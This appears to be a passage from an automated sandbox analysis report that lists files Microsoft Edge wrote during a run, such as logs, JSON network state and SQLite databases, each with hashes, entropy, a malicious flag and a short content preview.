Encrypted:	false
SSDEEP:	6:HUOFmVq2PcNwi23oH+Tcwt8NIFUt8YUOFBcgZmw+YUOF8SIkwOcNwi23oH+Tcwt2:QvLZYebpFUt8qF/+l54ZYebqJ
MD5:	092B4CE0CC9FBB2A28F1B0726DED91B8
SHA1:	AD80BBFDF84A0DFC5FC822B6A6B4FF699B2844CA
SHA-256:	0FA49080A0F1F36385FB2A60E0BF409CCDEB01B91E84B624399B2A6D493426CD
SHA-512:	65B06263FB46E21D20F5750B30BDC2B8374FD8A8631F2DC27CD08EBAB9C58633DE88307D98CCD8348CA2703260CCE3A84794B011C2125DBB6C473037F86648E0
Malicious:	false
Preview:	2024/11/18-04:25:51.946 f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-04:25:51.951 f80 Recovering log #3.2024/11/18-04:25:51.952 f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.19558617761176
Encrypted:	false
SSDEEP:	6:HUOFmVq2PcNwi23oH+Tcwt8NIFUt8YUOFBcgZmw+YUOF8SIkwOcNwi23oH+Tcwt2:QvLZYebpFUt8qF/+l54ZYebqJ
MD5:	092B4CE0CC9FBB2A28F1B0726DED91B8
SHA1:	AD80BBFDF84A0DFC5FC822B6A6B4FF699B2844CA
SHA-256:	0FA49080A0F1F36385FB2A60E0BF409CCDEB01B91E84B624399B2A6D493426CD
SHA-512:	65B06263FB46E21D20F5750B30BDC2B8374FD8A8631F2DC27CD08EBAB9C58633DE88307D98CCD8348CA2703260CCE3A84794B011C2125DBB6C473037F86648E0
Malicious:	false
Preview:	2024/11/18-04:25:51.946 f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-04:25:51.951 f80 Recovering log #3.2024/11/18-04:25:51.952 f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21838546206064954
Encrypted:	false
SSDEEP:	3:GWBntFlljq7A/mhWJFuQ3yy7IOWUZkW+/dweytllrE9SFcTp4AGbNCV9RUIm:Gp75fOze/d0Xi99pEYc
MD5:	86DC2EA0206547D3D0AED831628893D4
SHA1:	D46FC909E90E7653F27F4FEA2EC735E048DD2D9B
SHA-256:	38C4146DB06CCB9B01FAF4717661913431432DF85C13C85C18EF030E05DEB2C2
SHA-512:	E9894E0D563BA88C68773BB5A2A6B124DA093D9BEABEBB853CCD5B72D95A749A7893C39D6F22897DE4484D9AB538BC0C89390FECA6F9CBC14448DA455590052F
Malicious:	false
Preview:	.............g.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918403028186678
Encrypted:	false
SSDEEP:	384:jj9P0SQkQerkjly773pLDcEP/KbtPCgam6IpRKToaADhf:jd1e2mly7OEP/WF5RKc39
MD5:	1B2DD3F2140F04729453D271E105E9BA
SHA1:	BACFDAFAD44FDA2D78A469522DBCF98C54A66386
SHA-256:	3D98E9F9F6BE1D69990753D87945E489A121A50B7AE5416DCA6DC449D1ECE0E2
SHA-512:	88279D80122E6A449DD62CF6C3DBC3B8DF6B9319E6CC28AF308C75205DB91E9A541B6DF53FAC0AF2BDA384589203FA0DB2FDE4A1FDFE7FB43838846A491E0827
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.285945387526959
Encrypted:	false
SSDEEP:	12:ovLZYeb8rcHEZrELFUt8uf/+uN54ZYeb8rcHEZrEZSJ:alYeb8nZrExg8ooYeb8nZrEZe
MD5:	4BFA9F85D1E03958F6ECF280132A161E
SHA1:	01076CC7A7E26FE463FFE52A027D377E09C2C811
SHA-256:	41820099AFD051E54A1E67E56D98B33B947B38964D6E48815FD887B4BC67EE44
SHA-512:	A3050ACB7309E64D104488AB9539EB975ABC3E714E03348393ACD99D4C5828C8953255501BFDE65EAE18CAEDD9A4AAEDB8A80C451D73E6734D30958760F74812
Malicious:	false
Preview:	2024/11/18-04:25:56.662 1a84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-04:25:56.664 1a84 Recovering log #3.2024/11/18-04:25:56.664 1a84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.285945387526959
Encrypted:	false
SSDEEP:	12:ovLZYeb8rcHEZrELFUt8uf/+uN54ZYeb8rcHEZrEZSJ:alYeb8nZrExg8ooYeb8nZrEZe
MD5:	4BFA9F85D1E03958F6ECF280132A161E
SHA1:	01076CC7A7E26FE463FFE52A027D377E09C2C811
SHA-256:	41820099AFD051E54A1E67E56D98B33B947B38964D6E48815FD887B4BC67EE44
SHA-512:	A3050ACB7309E64D104488AB9539EB975ABC3E714E03348393ACD99D4C5828C8953255501BFDE65EAE18CAEDD9A4AAEDB8A80C451D73E6734D30958760F74812
Malicious:	false
Preview:	2024/11/18-04:25:56.662 1a84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-04:25:56.664 1a84 Recovering log #3.2024/11/18-04:25:56.664 1a84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1464
Entropy (8bit):	5.672493369343391
Encrypted:	false
SSDEEP:	24:/ZWTMm9lthC/ThJscSmXZ7IoWKiV03y1x4/vD6MyLTWDWslHUTu3N2gFHHmx2ztR:/Zqp7oFJsQXZ6pV03Sx4/tyf6WTTu3fh
MD5:	8914A4AD0A7553E4FFD0A69A73404D2F
SHA1:	AE39279CC4A2973283658F924357A064F67B2E96
SHA-256:	C49484BC4A7F249506F8B85A66B991F4B076CD4CFBE24CBDD7FF45AA99E8020C
SHA-512:	83DC56CAB7B52CA49BBF8D4FF5623F88315F4B8CFDE9B63DEF3BAF0595C35A691D9D2A5D4EF789BE38BB6E02E62B8DBAD17512EB4E999FE5B1DD066854258773
Malicious:	false
Preview:	8.T..................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1731921960136.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731921961751.._https://ntp.msn.com..MUID!.0D52F0FB785F6B62058EE5C0797A6A2B.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731921960246,"schedule":[9,32,-1,-1,-1,4,-1],"scheduleFixed":[9,32,-1,-1,-1,4,-1],"simpleSchedule":[44,16,36,30,47,27,42]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731921960103.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Nov 18 2024 04:25:59 GMT-0500 (Eastern Standard T

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.174347496889598
Encrypted:	false
SSDEEP:	6:HUON6Q+q2PcNwi23oH+Tcwt8a2jMGIFUt8YUONLjgZmw+YUONOYiQVkwOcNwi234:AvLZYeb8EFUt8O8/+/854ZYeb8bJ
MD5:	9F9862D99FDF512DB7D7CC20C80A9B01
SHA1:	0C292C809FF825E058503697DB825FEE55B8C61D
SHA-256:	19B2DF5B1662DC95EAEE6A7714D7315018107138421AB94D4AA9598BA5F24D06
SHA-512:	698F5A0680A40DA605329E35EC775AA82B0AF72FF33C8E55B1E3CFC568BA17D7E875CBA81449F4FB6393C5B8D6DA1422C8F2A5BE5C42FB3B19F9C8E60FA667FE
Malicious:	false
Preview:	2024/11/18-04:25:51.158 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-04:25:51.159 1d08 Recovering log #3.2024/11/18-04:25:51.163 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.174347496889598
Encrypted:	false
SSDEEP:	6:HUON6Q+q2PcNwi23oH+Tcwt8a2jMGIFUt8YUONLjgZmw+YUONOYiQVkwOcNwi234:AvLZYeb8EFUt8O8/+/854ZYeb8bJ
MD5:	9F9862D99FDF512DB7D7CC20C80A9B01
SHA1:	0C292C809FF825E058503697DB825FEE55B8C61D
SHA-256:	19B2DF5B1662DC95EAEE6A7714D7315018107138421AB94D4AA9598BA5F24D06
SHA-512:	698F5A0680A40DA605329E35EC775AA82B0AF72FF33C8E55B1E3CFC568BA17D7E875CBA81449F4FB6393C5B8D6DA1422C8F2A5BE5C42FB3B19F9C8E60FA667FE
Malicious:	false
Preview:	2024/11/18-04:25:51.158 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-04:25:51.159 1d08 Recovering log #3.2024/11/18-04:25:51.163 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\24c5fe71-0780-453f-afa8-ed593e4411d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\282bea93-1c3b-4f18-b2c5-aeb3fe782744.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\60492bf5-248d-419d-82bb-c99d75c4d13b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7082af30-fdb4-4a6b-b2e3-9829cffd5853.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8594f368-19d9-4d13-aead-e640c1975dc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7720231006321128
Encrypted:	false
SSDEEP:	192:tTt3gmrju18kxfOCzH4PG7CqM/aXcf0L/ZJVb:Vt3gUu18efDr4uPXI0LhJVb
MD5:	B72454611798E7E19889E36E0321AFB6
SHA1:	7A22FD2B40AD1D892BE8CA6D943C0879FD5BC8A7
SHA-256:	46D770920EF0F2DC04AD5BBE6E84D5A3D42AFEEDE2DBD1C6284DB41E9AFDE1E3
SHA-512:	AA28F1D2025F64DBF3451CDF4AE3768233D9ADAC104E610F4C36BE8C48C1EE19F537028E77A0252DFDE14D67FA9ED42913F619DCF0BE901369420700AC46C2BA
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF2d382.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF37485.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3791964652572506
Encrypted:	false
SSDEEP:	48:T2fIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSDW3:ifIEumQv8m1ccnvSxADHlGFh5BlBw1a
MD5:	385A53E023474CFF8172611BE8C9C72A
SHA1:	11C9B2BCFAF642760F3FCB2443A82E976B536413
SHA-256:	0E990B003505C0DEAEF07233E31E4E80C870CDEE299D97FA195841057C9283E6
SHA-512:	1A342A8B0D52857DAED0F547A8D466D2B8A6DD3E560D662DBDAA67E8A62DE16858C5EB9A5290DEF5FCEA8012E85AE7D8FCEC6B4373CC2EAE61B346DDFA3BC69C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF26901.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

